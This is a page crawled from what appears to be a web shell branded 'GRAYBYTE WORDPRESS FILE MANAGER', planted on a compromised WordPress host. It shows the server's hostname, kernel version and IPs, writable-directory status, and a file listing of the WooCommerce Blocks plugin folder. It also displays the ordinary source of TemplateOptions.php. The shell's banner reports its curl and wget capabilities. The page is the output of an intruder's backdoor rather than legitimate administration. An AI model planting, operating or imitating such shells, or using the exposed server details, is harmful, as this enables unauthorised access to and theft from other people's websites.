✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/src/Blocks//TemplateOptions.php
<?php
declare( strict_types = 1 );

namespace Automattic\WooCommerce\Blocks;

use Automattic\WooCommerce\Blocks\Options;

/**
 * TemplateOptions class.
 *
 * @internal
 */
class TemplateOptions {

	/**
	 * Initialization method.
	 */
	public function init() {
		add_action( 'after_switch_theme', array( $this, 'check_should_use_blockified_product_grid_templates' ), 10, 2 );
	}

	/**
	 * Checks the old and current themes and determines if the "wc_blocks_use_blockified_product_grid_block_as_template"
	 * option need to be updated accordingly.
	 *
	 * @param string    $old_name Old theme name.
	 * @param \WP_Theme $old_theme Instance of the old theme.
	 * @return void
	 */
	public function check_should_use_blockified_product_grid_templates( $old_name, $old_theme ) {
		if ( ! $old_theme->is_block_theme() && wp_is_block_theme() ) {
			$option_name = Options::WC_BLOCK_USE_BLOCKIFIED_PRODUCT_GRID_BLOCK_AS_TEMPLATE;
			// We previously stored "yes" or "no" values. This will convert them to true or false.
			$option_value = wc_string_to_bool( get_option( $option_name ) );

			// We don't need to do anything if the option is already set to true.
			if ( ! $option_value ) {
				update_option( $option_name, true );
			}
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
AI
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
AIContent
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Assets
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
BlockTypes
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Domain
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Images
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Integrations
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Patterns
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Payments
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Registry
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
SharedStores
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Shipping
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Templates
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Utils
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Assets.php
2.772 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644
AssetsController.php
19.673 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
BlockPatterns.php
7.919 KB
24 Nov 2025 11.10 PM
tdhomesa / tdhomesa
0644
BlockTemplatesController.php
17.979 KB
24 Nov 2025 11.10 PM
tdhomesa / tdhomesa
0644
BlockTemplatesRegistry.php
6.297 KB
1 Sep 2025 11.44 PM
tdhomesa / tdhomesa
0644
BlockTypesController.php
25.031 KB
23 Feb 2026 5.58 PM
tdhomesa / tdhomesa
0644
DependencyDetection.php
10.659 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
InboxNotifications.php
0.569 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644
Installer.php
4.131 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
Library.php
1.061 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644
Options.php
0.328 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644
Package.php
2.717 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
QueryFilters.php
17.8 KB
24 Nov 2025 11.10 PM
tdhomesa / tdhomesa
0644
TemplateOptions.php
1.206 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF